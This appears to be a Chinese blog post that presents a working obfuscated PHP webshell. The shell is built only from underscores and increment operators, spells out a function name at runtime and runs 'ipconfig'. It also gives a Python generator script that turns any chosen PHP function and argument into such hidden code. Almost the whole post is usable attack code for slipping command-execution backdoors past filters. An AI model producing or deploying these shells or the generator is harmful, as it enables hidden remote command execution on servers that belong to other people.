这种php的数据表示方法是国外几个大牛提出来的。

Tweetable PHP-Non Alpha

蛋疼了研究了下,写出了个微型shell

<?php $_[]++;$_[]=$_._;$_=$_[$_[+_]];$_=$__=$___=$____=$_____=$______=$_[+_]; $_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++; $____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++; $_____++;$_____++;$_____++;$_____++; $______++;$______++;$______++;$______++;$______++;$______++;$______++;$______++;$______++;$______++;$______++;$______++; $_=$_.$__.$___.$____.$_____.$______;$_("ipconfig"); ?>

简单说明下

$_[]++;   
$_[]=$_._; 
$_=$_[$_[+_]]; 
$_=$_[+_];    //使用数组提取字符串 
$_++;        //偏移 1 得B,如果不用这句就是A 
$_("123");  //将$_ 作为函数使用

一个另类的 PHP 加密算法

虽然会报错,但是最后函数会执行。

$++ 的使用可以依次代表24个字母 A不添加 B添加一次,以此类推。

写了一个生成脚本,大家自己看着玩吧。

#!/usr/bin/python 
#!  PHP WEBSHELL   

x={'A':'0','B':'1','C':'2','D':'3','E':'4','F':'5','G':'6','H':'7','I':'8','J':'9','K':'10','L':'11','M':'12','N':'13','O':'14','P':'15','Q':'16','R':'17','S':'18','T':'19','U':'20','V':'21','W':'22','X':'23','Y':'24','Z':'25'}
 
_attr=[] 
_list=[] 
_fuck=[] 

def _num(s): 
   tar=[] 
   x='_' 
   for i in range(s): 
     st = '$_'+x*i 
     tar.append(st) 
   return tar 

code=raw_input('Enter Code>>>').upper() 
com =raw_input('Enter Comd>>>') 

for i in code: 
  _attr.append(x[i]) 

start = '<?php $_[]++;$_[]=$_._;$_=$_[$_[+_]];'+'='.join(_num(len(code)))+'=$_[+_];'
 _list.append(start) 

for i in range(len(_attr)): 
    x = _num(len(code))[i] 
    s= (x+'++;')*int(_attr[i]) 
    _list.append(s) 

end ='$_='+'.'.join(_num(len(code)))+';$_("'+com+'"); ?>' 

_list.append(end) 

print ' '.join(_list)

应该没有哪里弄错,提供两个用户输入 一个是php函数,另一个是函数参数。

一个另类的 PHP 加密算法

妈的四点了 睡觉去 8.。。。

source